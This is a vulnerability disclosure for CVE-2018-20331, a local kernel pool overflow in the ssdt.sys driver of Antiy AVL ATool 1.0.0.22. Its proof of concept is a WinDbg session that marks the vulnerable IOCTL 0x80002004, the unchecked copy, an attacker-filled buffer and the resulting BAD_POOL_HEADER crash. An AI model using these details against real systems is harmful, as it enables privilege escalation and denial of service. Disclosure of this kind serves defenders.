# Exploit Title: Kernel Pool Buffer Overflow ATool - 1.0.0.22 (0day)
# CVE: CVE-2018-20331
# Date: 21-12-2018
# Software Link: http://www.antiy.net/ <http://www.antiy.net/> 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr <https://twitter.com/aloycemjr>
# Vendor Homepage: http://www.antiy.net/ <http://www.antiy.net/> 
# Category: Windows
# Attack Type: local
# Impact:Code execution/Denial of Service/Escalation of Privileges

 
1. Description

> Local attackers can trigger a Kernel Pool Buffer Overflow in
> Antiy AVL ATool
> v1.0.0.22. An attacker must first obtain the ability to execute
> low-privileged code on the target system in order to exploit this
> vulnerability. The specific flaw exists within the processing of IOCTL
> 0x80002004 by the ssdt.sys kernel driver. The bug is
> caused by failure to properly validate the length of the user-supplied
> data. An attacker can
> leverage this vulnerability to execute arbitrary code in the context
> of the kernel, which could lead to privilege escalation. A failed
> exploit could lead to denial of service.


   
2. Proof of Concept
 

0: kd> !drvobj ssdt 2
Driver object (87fe0f38) is for:
 \Driver\ssdt
DriverEntry:   aaa0b99e	ssdt
DriverStartIo: 00000000	
DriverUnload:  aaa0b828	ssdt
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      aaa0b686	ssdt+0x686
[01] IRP_MJ_CREATE_NAMED_PIPE           82b08da3	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       aaa0b686	ssdt+0x686
[03] IRP_MJ_READ                        82b08da3	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       82b08da3	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           82b08da3	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             82b08da3	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    82b08da3	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      82b08da3	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               82b08da3	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    82b08da3	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      82b08da3	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           82b08da3	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         82b08da3	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              aaa0b6c8	ssdt+0x6c8 <======================= Dispatch Function
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     82b08da3	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    82b08da3	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                82b08da3	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     82b08da3	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             82b08da3	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              82b08da3	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                82b08da3	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       82b08da3	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              82b08da3	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               82b08da3	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 82b08da3	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   82b08da3	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         82b08da3	nt!IopInvalidDeviceRequest

0: kd> bp aaa0b6c8
0: kd> g
Breakpoint 0 hit
ssdt+0x6c8:
aaa0b6c8 8bff            mov     edi,edi
0: kd> dd edi
87d6d238  00800005 86c620c8 00000000 00000000
87d6d248  00000000 00000000 00000000 00000000
87d6d258  00000000 00000000 00000000 00040002
87d6d268  00000000 00000000 00000000 00000000
87d6d278  00000000 00000001 00000000 00040001
87d6d288  00000000 87d6d28c 87d6d28c 00040000
87d6d298  00000000 87d6d29c 87d6d29c 00000000
87d6d2a8  00000000 87d6d2ac 87d6d2ac 00000000
0: kd> u eip L20
ssdt+0x6c8:
aaa0b6c8 8bff            mov     edi,edi
aaa0b6ca 55              push    ebp
aaa0b6cb 8bec            mov     ebp,esp
aaa0b6cd 83ec0c          sub     esp,0Ch
aaa0b6d0 53              push    ebx
aaa0b6d1 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
aaa0b6d4 8b4360          mov     eax,dword ptr [ebx+60h]
aaa0b6d7 56              push    esi
aaa0b6d8 33f6            xor     esi,esi
aaa0b6da 89731c          mov     dword ptr [ebx+1Ch],esi
aaa0b6dd 8b5004          mov     edx,dword ptr [eax+4]
aaa0b6e0 8b4808          mov     ecx,dword ptr [eax+8]
aaa0b6e3 8b400c          mov     eax,dword ptr [eax+0Ch]
aaa0b6e6 3d00200080      cmp     eax,80002000h
aaa0b6eb 57              push    edi
aaa0b6ec 8b7b0c          mov     edi,dword ptr [ebx+0Ch]
aaa0b6ef 8955fc          mov     dword ptr [ebp-4],edx
aaa0b6f2 0f84d7000000    je      ssdt+0x7cf (aaa0b7cf)
aaa0b6f8 3d04200080      cmp     eax,80002004h <======================== Vulnerable IOCTL
aaa0b6fd 7442            je      ssdt+0x741 (aaa0b741)
aaa0b6ff 3d08200080      cmp     eax,80002008h
aaa0b704 7531            jne     ssdt+0x737 (aaa0b737)
aaa0b706 8b37            mov     esi,dword ptr [edi]
aaa0b708 56              push    esi
aaa0b709 68a4b6a0aa      push    offset ssdt+0x6a4 (aaa0b6a4)
aaa0b70e e873fdffff      call    ssdt+0x486 (aaa0b486)
aaa0b713 a10cb5a0aa      mov     eax,dword ptr [ssdt+0x50c (aaa0b50c)]
aaa0b718 3b7008          cmp     esi,dword ptr [eax+8]
aaa0b71b 59              pop     ecx
aaa0b71c 59              pop     ecx
aaa0b71d 7714            ja      ssdt+0x733 (aaa0b733)
aaa0b71f 8b00            mov     eax,dword ptr [eax]
0: kd> u . L40
ssdt+0x6f8:
aaa0b6f8 3d04200080      cmp     eax,80002004h
aaa0b6fd 7442            je      ssdt+0x741 (aaa0b741)
aaa0b6ff 3d08200080      cmp     eax,80002008h
aaa0b704 7531            jne     ssdt+0x737 (aaa0b737)
aaa0b706 8b37            mov     esi,dword ptr [edi]
aaa0b708 56              push    esi
aaa0b709 68a4b6a0aa      push    offset ssdt+0x6a4 (aaa0b6a4)
aaa0b70e e873fdffff      call    ssdt+0x486 (aaa0b486)
aaa0b713 a10cb5a0aa      mov     eax,dword ptr [ssdt+0x50c (aaa0b50c)]
aaa0b718 3b7008          cmp     esi,dword ptr [eax+8]
aaa0b71b 59              pop     ecx
aaa0b71c 59              pop     ecx
aaa0b71d 7714            ja      ssdt+0x733 (aaa0b733)
aaa0b71f 8b00            mov     eax,dword ptr [eax]
aaa0b721 8b04b0          mov     eax,dword ptr [eax+esi*4]
aaa0b724 8907            mov     dword ptr [edi],eax
aaa0b726 8b45fc          mov     eax,dword ptr [ebp-4]
aaa0b729 89431c          mov     dword ptr [ebx+1Ch],eax
aaa0b72c 33f6            xor     esi,esi
aaa0b72e e9ad000000      jmp     ssdt+0x7e0 (aaa0b7e0)
aaa0b733 83631c00        and     dword ptr [ebx+1Ch],0
aaa0b737 be0d0000c0      mov     esi,0C000000Dh
aaa0b73c e99f000000      jmp     ssdt+0x7e0 (aaa0b7e0)
aaa0b741 6844646b20      push    206B6444h     <======================= Pooltag
aaa0b746 c1e902          shr     ecx,2
aaa0b749 52              push    edx
aaa0b74a 8bf1            mov     esi,ecx
aaa0b74c 6a00            push    0        <==================================Pool type
aaa0b74e 

1: kd> u . L20
ssdt+0x782:
aaa0b782 8911            mov     dword ptr [ecx],edx
aaa0b784 83c104          add     ecx,4
aaa0b787 ff4df8          dec     dword ptr [ebp-8]
aaa0b78a 75e5            jne     ssdt+0x771 (aaa0b771)
aaa0b78c 8b75f4          mov     esi,dword ptr [ebp-0Ch]
aaa0b78f 8b0d0cb5a0aa    mov     ecx,dword ptr [ssdt+0x50c (aaa0b50c)]
aaa0b795 3b7108          cmp     esi,dword ptr [ecx+8]
aaa0b798 7316            jae     ssdt+0x7b0 (aaa0b7b0)
aaa0b79a 8bd6            mov     edx,esi
aaa0b79c 8b09            mov     ecx,dword ptr [ecx]
aaa0b79e 8b0c91          mov     ecx,dword ptr [ecx+edx*4]
aaa0b7a1 890c90          mov     dword ptr [eax+edx*4],ecx
aaa0b7a4 8b0d0cb5a0aa    mov     ecx,dword ptr [ssdt+0x50c (aaa0b50c)]
aaa0b7aa 42              inc     edx
aaa0b7ab 3b5108          cmp     edx,dword ptr [ecx+8]
aaa0b7ae 72ec            jb      ssdt+0x79c (aaa0b79c)
aaa0b7b0 8b4dfc          mov     ecx,dword ptr [ebp-4]
aaa0b7b3 8bd1            mov     edx,ecx
aaa0b7b5 c1e902          shr     ecx,2
aaa0b7b8 8bf0            mov     esi,eax
aaa0b7ba f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
aaa0b7bc 8bca            mov     ecx,edx
aaa0b7be 83e103          and     ecx,3
aaa0b7c1 50              push    eax
aaa0b7c2 f3a4            rep movs byte ptr es:[edi],byte ptr [esi] <======================= Vulnerable copy

1: kd> dc edi
85a6ce00  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA    <================ Evil user input 
85a6ce10  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce20  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce30  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce40  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce50  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce60  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
85a6ce70  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1: kd> g

*** Fatal System Error: 0x00000019
                       (0x00000020,0x892CF250,0x892CF260,0x08020012)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

1: kd> !analyze -v

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************


BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 892cf250, The pool entry we were looking for within the page.
Arg3: 892cf260, The next pool entry.
Arg4: 08020012, (reserved






3. Solution:
   
None